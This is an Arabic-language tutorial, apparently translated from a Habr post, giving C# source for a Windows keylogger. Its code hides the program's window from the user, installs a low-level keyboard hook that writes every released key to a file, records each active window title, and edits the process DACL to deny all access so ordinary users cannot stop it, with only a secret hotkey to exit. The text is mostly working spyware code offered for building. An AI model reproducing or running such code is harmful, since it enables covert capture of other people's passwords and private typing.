كلوغر لنظام التشغيل Windows مع تغيير الحقوق في DACL

سننظر هنا في إنشاء Keylogger بناءً على .Net C # مع المكالمات إلى وظائف النظام. يتم وصف وظائف النظام نفسها لفترة وجيزة ، ولكن من الأفضل قراءة الوثائق الرسمية من Microsoft. يتم توفير الرابط إلى المستودع مع مجموعة العمل في النهاية ، بالإضافة إلى رابط الوثائق.

ما سيتم تنفيذه:

  • تسجيل إدخال لوحة المفاتيح.
  • تسجيل النافذة النشطة.
  • حظر العملية من مستخدم دون امتيازات المسؤول.
  • وقف العملية عن طريق اختصار لوحة المفاتيح.

للكتابة ، ستحتاج إلى C # ، معرفة API Win و Windows DACL.

لذلك ، سوف نقوم بتحليل عدة أنواع من رموز النظام التي ستكون مطلوبة ، وسيتم تخزين كل نوع في التعداد منفصلة.

أنواع السنانير.

public enum HookTypes { WH_CALLWNDPROC = 4, WH_CALLWNDPROCRET = 12, WH_KEYBOARD = 2, WH_KEYBOARD_LL = 13, WH_MOUSE = 7, WH_MOUSE_LL = 14, WH_JOURNALRECORD = 0, WH_JOURNALPLAYBACK = 1, WH_FOREGROUNDIDLE = 11, WH_SYSMSGFILTER = 6, WH_GETMESSAGE = 3, WH_CBT = 5, WH_HARDWARE = 8, WH_DEBUG = 9, WH_SHELL = 10, } 

لالتقاط جميع الأحداث المتعلقة بلوحة المفاتيح ، تحتاج إلى نوع WH_KEYBOARD_LL . تتطلب كافة أنواع السنانير الأخرى تطبيق DLL منفصلة ، باستثناء أحداث ربط الماوس WH_MOUSE_LL أخرى.

أنواع الأحداث المرتبطة بلوحة المفاتيح ، والضغط على المفتاح وإطلاقه.

 public enum KeyboardEventTypes { WM_KEYDOWN = 0x0100, WM_KEYUP = 0x0101, } 

سنقوم بتسجيل أحرف الإدخال عن طريق تحرير المفتاح - WM_KEYUP .

بشكل منفصل ، أنواع التقاط انتقال المستخدم من نافذة تطبيق إلى أخرى.

 public class WinEventTypes { public const uint WINEVENT_OUTOFCONTEXT = 0; public const uint EVENT_SYSTEM_FOREGROUND = 3; } 

التعداد من أجل استخدام اختصار لوحة المفاتيح لتعطيل البرنامج.

 public enum CombineKeys { MOD_ALT = 0x1, MOD_CONTROL = 0x2, MOD_SHIFT = 0x4, MOD_WIN = 0x8, WM_HOTKEY = 0x0312, } 

لتنفيذ جميع النقاط ، قم أولاً بإنشاء النموذج وإخفائه عن المستخدم. يكفي لتجاوز الأسلوب SetVisibleCore الأساسي.

 protected override void SetVisibleCore(bool value) { base.SetVisibleCore(false); } 

سيتم إطلاق النموذج عندما يبدأ البرنامج.

 Application.Run(HiddenForm); 

هناك نموذج والآن تحتاج إلى إضافة الوظيفة الرئيسية - اعتراض إدخال لوحة المفاتيح. نستخدم طريقة Win API SetWindowsHookEx ، سيتم تمرير المعلمات التالية:

  • نوع الخطاف هو WH_KEYBOARD_LL.
  • وظيفة رد الاتصال ، أي الطريقة التي يجب أن تتعامل مع جميع الأحداث المتعلقة بلوحة المفاتيح.
  • معرف الوحدة الحالية .
  • معرف مؤشر الترابط هو 0. صفر بحيث يرتبط الخطاف بجميع مؤشرات الترابط.

 internal IntPtr SetHook(HookTypes typeOfHook, HookProc callBack) { using (Process currentProcess = Process.GetCurrentProcess()) using (ProcessModule currentModule = currentProcess.MainModule) { return SetWindowsHookEx((int)typeOfHook, callBack, GetModuleHandle(currentModule.ModuleName), 0); } } 

الطريقة نفسها التي تعالج الخطاف. لديها العديد من المعلمات ، nCode - من أجل فهم ما إذا كان من الضروري معالجة الحدث الحالي أو نقله على الفور ،
wParam - نوع الحدث (الضغط على مفتاح أو تحريره ) ، lParam - الحرف الذي يتم الضغط عليه حاليًا. في الجوهر ، lParam عبارة عن صفيف من البايتات ، لذلك يقوم بتخزين معلومات إضافية ، على سبيل المثال ، عدد الأحرف إذا كان المستخدم يحتفظ بالمفتاح وكان الجهاز الذي تتم فيه المعالجة بطيئًا.

 internal static IntPtr KeyLoggerHookCallback(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0 && wParam == (IntPtr)KeyboardEventTypes.WM_KEYUP) { int vkCode = Marshal.ReadInt32(lParam); SetKeysState(); var saveText = GetSymbol((uint)vkCode); File.AppendAllText(_fileName, saveText); } return CallNextHookEx(HookId, nCode, wParam, lParam); } 

يكتب هذا التطبيق حرفًا فقط بعد قيام المستخدم بإصدار المفتاح. لتسجيل عدد الأحرف ، تحتاج إلى تطبيق حالة من النوع WM_KEYDOWN .

يتم استخدام الأسلوب SetKeysState لمعرفة حالة مفاتيح إضافية الحالة ، على سبيل المثال ، المفاتيح التي تؤثر على الحالة.

 private static void SetKeysState() { _capsLock = GetKeyState((int)Keys.CapsLock) != 0; _numLock = GetKeyState((int)Keys.NumLock) != 0; _scrollLock = GetKeyState((int)Keys.Scroll) != 0; _shift = GetKeyState((int)Keys.ShiftKey) != 0; } 

GetKeyState هو طريقة Win API أخرى يمكنك من خلالها معرفة الحالة بواسطة رمز المفتاح.

 private static string GetSymbol(uint vkCode) { var buff = new StringBuilder(maxChars); var keyboardState = new byte[maxChars]; var keyboard = GetKeyboardLayout( GetWindowThreadProcessId(GetForegroundWindow(), IntPtr.Zero)); ToUnicodeEx(vkCode, 0, keyboardState, buff, maxChars, 0, (IntPtr)keyboard); var buffSymbol = buff.ToString(); var symbol = buffSymbol.Equals("\r") ? Environment.NewLine : buffSymbol; if (_capsLock ^ _shift) symbol = symbol.ToUpperInvariant(); return symbol; } 

في أسلوب GetSymbol ، يتم أولاً طلب رمز تخطيط لوحة المفاتيح GetKeyboardLayout للإطار الحالي ، ثم ToUnicodeEx للحصول على الحرف ، كلتا الطريقتين Win API. إذا كانت المفاتيح التي تؤثر على الحالة متضمنة ، فيجب تحويل الحرف إلى الحالة العليا.

هذا سيكون كافيا لتسجيل المدخلات من لوحة المفاتيح. ولكن لتسجيل الإطار النشط الحالي ، تحتاج إلى استخدام ربط آخر.

 internal IntPtr SetWinHook(WinEventProc callBack) { using (Process currentProcess = Process.GetCurrentProcess()) using (ProcessModule currentModule = currentProcess.MainModule) { return SetWinEventHook( WinEventTypes.EVENT_SYSTEM_FOREGROUND, WinEventTypes.EVENT_SYSTEM_FOREGROUND, GetModuleHandle(currentModule.ModuleName), callBack, 0, 0, WinEventTypes.WINEVENT_OUTOFCONTEXT); } } 

مطلوب نوع EVENT_SYSTEM_FOREGROUND لتتبع التغييرات في الإطار النشط. ويشير WINEVENT_OUTOFCONTEXT إلى أن طريقة callBack في تطبيقنا.

تحتوي الطريقة التي تم تمريرها إلى سلسلة الخطاف على العديد من المعلمات التي يمكن أن تكون مفيدة في تنفيذ أكثر تفصيلًا ، وفي هذه الحالة يكفي العثور على النافذة النشطة وعنوانها.

 internal static void ActiveWindowsHook( IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread, uint dwmsEventTime) { File.AppendAllText(_fileName, $"{Environment.NewLine}{GetActiveWindowTitle()}{Environment.NewLine}"); } 

وهذا هو ، سيتم تسجيل كل حدث تغيير نافذة. وفي GetActiveWindowTitle ، يكفي استخدام بضعة أساليب Win API GetForegroundWindow - تعرف على معرف الإطار النشط الحالي ، بعد طلب عنوان باستخدام GetWindowText .

 private static string GetActiveWindowTitle() { var buff = new StringBuilder(maxChars); var handle = GetForegroundWindow(); if (GetWindowText(handle, buff, maxChars) > 0) { return buff.ToString(); } return null; } 

حتى هذه النقطة ، تم أخذ جميع استدعاءات وظائف النظام من مكتبات User32 و Kernel32 . والخطوة التالية هي استخدام مكتبة advapi32 .

الخطوة الثالثة هي منع المستخدم العادي من إكمال عملية تسجيل إدخال لوحة المفاتيح. تحتاج أولاً إلى الحصول على مؤشر لهذه العملية ثم تغييرها عن طريق إضافة إدخال إلى DACL .

 internal void BlockForNotAdminUsers() { var hProcess = Process.GetCurrentProcess().Handle; var securityDescriptor = GetProcessSecurityDescriptor(hProcess); var sid = WindowsIdentity.GetCurrent().User.AccountDomainSid; securityDescriptor.DiscretionaryAcl.InsertAce( 0, new CommonAce( AceFlags.None, AceQualifier.AccessDenied, (int)ProcessAccessRights.PROCESS_ALL_ACCESS, new SecurityIdentifier(WellKnownSidType.WorldSid, sid), false, null)); SetProcessSecurityDescriptor(hProcess, securityDescriptor); } 

يتم استلام واصف العملية من خلال GetKernelObjectSecurity ، يتم استدعاء الطريقة مرتين ، أولاً نحصل على طول الواصف ، والمكالمة الثانية نحصل على واصف العملية مباشرةً.

 private RawSecurityDescriptor GetProcessSecurityDescriptor(IntPtr processHandle) { var psd = new byte[0]; GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, psd, 0, out uint bufSizeNeeded); if (bufSizeNeeded < 0 || bufSizeNeeded > short.MaxValue) throw new Win32Exception(); if (!GetKernelObjectSecurity( processHandle, DACL_SECURITY_INFORMATION, psd = new byte[bufSizeNeeded], bufSizeNeeded, out bufSizeNeeded)) throw new Win32Exception(); return new RawSecurityDescriptor(psd, 0); } 

بعد تغيير الواصف ، تحتاج إلى إدخال هذه المعلومات في العملية الحالية. يكفي تمرير معرف واصف العملية إلى طريقة النظام SetKernelObjectSecurity .

 private void SetProcessSecurityDescriptor(IntPtr processHandle, RawSecurityDescriptor securityDescriptor) { var rawsd = new byte[securityDescriptor.BinaryLength]; securityDescriptor.GetBinaryForm(rawsd, 0); if (!SetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, rawsd)) throw new Win32Exception(); } 

الخطوة الأخيرة هي إيقاف العملية باستخدام تركيبة المفاتيح.

 internal static int SetHotKey(Keys key, IntPtr handle) { int modifiers = 0; if ((key & Keys.Alt) == Keys.Alt) modifiers |= (int)CombineKeys.MOD_ALT; if ((key & Keys.Control) == Keys.Control) modifiers |= (int)CombineKeys.MOD_CONTROL; if ((key & Keys.Shift) == Keys.Shift) modifiers |= (int)CombineKeys.MOD_SHIFT; Keys keys = key & ~Keys.Control & ~Keys.Shift & ~Keys.Alt; var keyId = key.GetHashCode(); RegisterHotKey(handle, keyId, modifiers, (int)keys); return keyId; } 

المفتاح هنا هو اختصار لوحة المفاتيح ، والمقبض هو معرف النموذج المخفي. للتعرف على تركيبة المفاتيح في النموذج ، يتم إنشاء keyId ، والتي من خلالها يمكن التحقق من تشغيل مجموعة المفاتيح. وكل هذا مكتوب من خلال طريقة وين API RegisterHotKey .

ولإيقاف العملية أخيرًا ، نعيد تعريف طريقة WndProc في النموذج.

 protected override void WndProc(ref Message m) { if (m.Msg == (int)CombineKeys.WM_HOTKEY) { if ((int)m.WParam == KeyId) { UnregisterHotKey(Handle, KeyId); Application.Exit(); } } base.WndProc(ref m); } 

روابط مفيدة:

مستودع الرابط
رابط لوثائق MS.

Source: https://habr.com/ru/post/ar482644/


All Articles